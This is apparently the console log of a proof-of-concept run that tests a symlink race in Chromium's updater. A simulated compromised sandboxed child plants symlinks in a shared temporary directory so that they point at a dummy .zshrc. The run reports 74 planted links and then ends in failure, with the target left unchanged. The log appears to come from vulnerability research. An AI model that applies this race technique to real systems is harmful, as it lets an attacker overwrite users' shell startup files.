[*] target file: /tmp/poc-shared-tmp.IP7roZ/victim_zshrc [*] original sha256: a350083b9ad1bdadedcbe81f6664b0fe4022a7e6ec634319674e24c70c687c6e /tmp/poc-shared-tmp.IP7roZ/victim_zshrc [*] building race tool [*] starting symlink race (simulated compromised sandboxed child) [*] launching browser with TMPDIR=/tmp/poc-shared-tmp.IP7roZ [*] waiting for DevTools endpoint [*] opening chrome://updater (user navigates to internals page) ============================================================ [*] race tool log (last 20 lines): [race] WIN #55: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.YM9FSh/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=60) [race] WIN #56: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.ojVPm0/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=61) [race] WIN #57: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.jVTfXY/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=66) [race] WIN #58: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.nbR8ol/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=67) [race] WIN #59: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.myjiTp/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=68) [race] WIN #60: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.E4q9W3/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=69) [race] WIN #61: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.xefKa2/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=70) [race] WIN #62: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.X978F7/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=71) [race] WIN #63: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.1MBjNq/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=72) [race] WIN #64: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.2wD2si/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=73) [race] WIN #65: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.YfH0zm/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=74) [race] WIN #66: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.AxBbaB/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=77) [race] WIN #67: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.1FYxKz/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=78) [race] WIN #68: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.YXzuke/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=79) [race] WIN #69: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.ymDjqF/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=80) [race] WIN #70: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.gulQrR/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=81) [race] WIN #71: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.6QMtQH/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=82) [race] WIN #72: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.8IccRr/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=84) [race] WIN #73: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.1DGBmq/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=85) [race] WIN #74: planted /tmp/poc-shared-tmp.IP7roZ/org.chromium.Chromium.scoped_dir.8cHNje/input.zip -> /tmp/poc-shared-tmp.IP7roZ/victim_zshrc (attempts=86) ============================================================ [*] target file (/tmp/poc-shared-tmp.IP7roZ/victim_zshrc) final contents: ------------------------------------------------------------ ORIGINAL CONTENT — must NOT survive if the race is won ------------------------------------------------------------ [*] final sha256: a350083b9ad1bdadedcbe81f6664b0fe4022a7e6ec634319674e24c70c687c6e /tmp/poc-shared-tmp.IP7roZ/victim_zshrc [-] FAILED: target was not overwritten within timeout. Race log summary: symlink plants that landed before creat(): 74 See race.log / chrome.log for diagnostics.